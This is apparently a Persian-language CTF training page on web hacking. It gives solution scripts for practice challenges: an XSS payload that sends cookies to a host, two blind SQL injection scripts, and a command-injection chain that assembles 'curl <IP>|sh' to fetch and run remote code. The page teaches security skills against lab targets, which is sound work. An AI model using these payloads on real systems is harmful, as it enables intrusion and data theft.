وب

وب

ندید آن سرورِ وب را رخنه‌ای     که در وی تواند زند طعنه‌ای

پطرس فداکار را که یادتان هست؟ در این منزل، بر خلاف پطرس، می‌خواهیم در سدّ سدیدِ سامانه‌های وب، حفره پیدا کنیم و نه تنها آن حفره را با انگشت خود پر نکنیم، بلکه حتی آن را تبدیل به یک شکاف اساسی کنیم!
دشواریِ یافتنِ حفره در سامانه‌های وب، تقریبا در همان حدّ دشواریِ یافتن حفره در سامانه‌های نرم‌افزاری و سخت‌افزاری و ... است اما به طور رایج وقتی حرف از «هکری» زده می‌شود، رخنه کردن در سامانه‌های وب در ذهن شنونده متبادر می‌شود. (بد نیست همین جا اشاره کنم که برگردان فارسی واژه‌ی «هکری»، «رخنه‌گری» است و بر خلاف نظر شما، به نظر بنده اتفاقا خیلی هم برگردان خوبی است!) به هر ترتیب، با ویدیوی زیر منزل وب را آغاز می‌کنیم!

برای تست تمرین تمپلت‌اینجکشن مقدمه می‌توانید از اینجا استفاده کنید

برخی موارد که در این ویدئو به آنها اشاره شد:

برای شبیه‌سازی دو سوال اول مقدمه، می‌توانید ماشین مجازی روبرو را دانلود و اجرا کنید: دانلود (حجم 843 مگابایت)
همچنین برای بخش xss اسکریپت زیر را تزریق می‌کنیم (اگر این کد را کپی کنید اجرا نخواهد شد 😁):

<‌script>document.createElement("img").src="http://localhost?"+document.cookie;<‌/‌scri‌pt‌>

برای حل سوال sqli هم از کد زیر استفاده کردیم:

# NeverStorePlaintextPa$$w0rd

import requests
import string
s = ''
while(True):
    for c in string.ascii_letters+string.digits+'~!@#$^&*()_+=-":;?/.,<>|\}{[]':
        data = {
            "username": "parcham' OR password like binary '{}%' AND ''='".format(s+c)}
        print(data)
        r = requests.post("http://localhost:8008/forgot", data=data)
        print(r.text)
        if r.text == 'Okay':
            s += c
            break
    else:
        print(s)
        break

و لعلّ ان تَبیضَ عینی بالبکاء

در ویدیوی دست‌گرمی اول این منزل، مشغول سر و کله زدن با سوالاتی تغییریافته از مسابقه‌ی HITCON بودیم. در اینجا و آنجا، سوالات این ویدیو قرار داده شده است. در ابتدا کمی تلاش کنید که خودتان حل کنید و بعد ویدیو را ببینید.

شفاف‌سازی: برای حفظ حریم شخصی و جلوگیری از نمایان شدن آی‌پی شرکت‌کنندگان، تغییر کوچکی در آدرس پوشه‌ها دادیم امّا تغییری در راه‌حل ایجاد نشده است.

می‌بینید؟ باید خیلی همه چیز را آزمود تا بالاخره یک رخنه‌ای بشود ایجاد کرد! برخی لینک‌های استفاده شده در این ویدیو:

همچنین اسکریپتی که با آن سوال دوم این بخش را حل کردیم به این شکل است:

import requests
from time import sleep
from urllib.parse import quote

payload = [
    # generate ls -at>g file
    '>ls\\', 
    'ls>_',
    '>\ \\', 
    '>-at\\', 
    '>\>g', 
    'ls>>_', 

    # generate curl 86.104.33.87|sh
    '>sh',
    '>\|\\', 

    '>87\\',
    '>3.\\',
    '>.3\\',
    '>04\\',
    '>.1\\',
    '>86\\',
    
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # exec
    'sh _', 
    'sh g', 
]



r = requests.get('http://86.104.33.87:8200/?reset')
for s in payload:
    assert(len(s) <= 5)
    r = requests.get('http://86.104.33.87:8200/?cmd=' + quote(s) )
    print(s)
    sleep(2)

ارتدَّ یوماً اَلتَقیک بصیرا

در دست‌گرمی دوم، مشغول جدال با سوالی از مسابقه‌ی 0CTF 2017 بودیم. اینجا

باز هم در ابتدا تلاش کنید که خودتان حل کنید و بعد که مایوس شدید، ویدیو را ببینید تا از یأس کیلومترها فاصله بگیرید.

به هر حال، بینایی را تا لحظه‌ی لقای یار از دست داده‌ایم و مجبوریم که Blind SQLi بزنیم!

شفاف‌سازی: هنگام حل این سوال برروی سیستم حل‌کننده نسخه 7.3 از php نصب بود که آسیب‌پذیری دقت اعداد به int در آن رفع شده است. لذا خروجی (int) "1e-1111" برای آن 0 نمایش داده می‌شود امّا برروی سرور سوال مسابقه نسخه 7.0 وجود دارد که مشکلی برای حل سوال ایجاد نمی‌کند.

همچنین اسکریپت حل این سوال در زیر آمده است:

import requests
import sys
import time

username = "admin' into %s#" % (
    ','.join(['@' + c for c in ['a', 'b', 'c', 'd']]), )
password = '1234567'
url = 'http://127.0.0.1:8100/'
url = 'http://86.104.33.87:8000/'

sess = requests.Session()


# register
sess.post(url, params={'action': 'register'}, data={
          'user': username, 'pass': password})
print('username: %s' % username)

# login
r = sess.post(url, params={'action': 'login'}, data={
              'user': username, 'pass': password})
if b'<h2>You got ' not in r.content:
    print('register or login failed')
    sys.exit(1)
else:
    print('login success')


result = ''


def is_at(offset, c):
    global result

    payload = "1e-10000'),(if (locate('%s', @c, %d) = %d, 'a', 2), '')#" % (c,
                                                                            offset, offset)
    params = {'bet': payload, 'guess': '5'}

    print("\r" + c, end='')

    i = 0
    while True:  # until win
        i += 1
        print("\rTrying " + result + c + "? (try #%03d)" % i, end='')
        r = sess.get(url, params=params)
        if b'won' in r.content:
            if b'</html>' in r.content:
                return False
            else:
                return True


def at(offset):
    for c in '0123456789abcdef':
        if is_at(offset, c):
            return c
    return 'X'


for offset in range(1, 32 + 1):
    c = at(offset)
    result += c
    print()
    print('md5: %s' % result)


print('flag is: flag{%s}', result)

لا اَشتهی الّا الیک مصیرا

از آنجایی که خیلی مشتاق هستید که خود را با سوالاتی جدید و تازه بیازمایید، در صفحه‌ی پرچم‌گیری چالش جدیدی پیش روی شماست! این چالش نسبتا آسان است و چالش دشوارتر، ۳ آذر منتشر خواهد شد. برای فرستادن پرچم و مشروح راه‌حل (write-up) خود برای هر دو سوال تا ۱۷ آذر مهلت خواهید داشت. یادتان نرود که فرستادن مشروح راه‌حل، امتیازتان را بیشتر می‌کند. دیر و زود دارد ولی سوخت و سوز ندارد! همچنین با فرستادن مشروح راه‌حل در قرعه‌کشی برای جایزه شرکت داده می‌شوید.

مثل همیشه، مشروح راه‌حل خود را در قالب Markdown بنویسید و آن را از طریق ایمیل برای ما ارسال کنید.

موضوع ایمیل خود را به این شکل بنویسید: Web :: TaskX که به جای X عدد 1 یا 2 قرار می‌گیرد که مشخص می‌کند راه‌حل کدام سوال نوشته شده است.

وَٱبْيَضَّتْ عَيْنَاهُ مِنَ ٱلْحُزْنِ فَهُوَ كَظِيمٌ

خب قبول دارم که گاهی اوقات روند رشد ممکن است فرسایشی شود. راستش این طور به نظر می‌آید که کارهای مفید دشوار هستند و باید درد و اذیت به جان خرید!

بیایید خشم خود را فرو بخوریم(!) و با صبر و شکیبایی به آموزش دادن خود ادامه دهیم. شاید گاهی حس کنیم که به قدر کافی بلد نیستیم و یا برای این کار ساخته نشده‌ایم اما تسلیم نشویم به خودآموزی خود ادامه دهیم!

تا منزل بعد بدرود!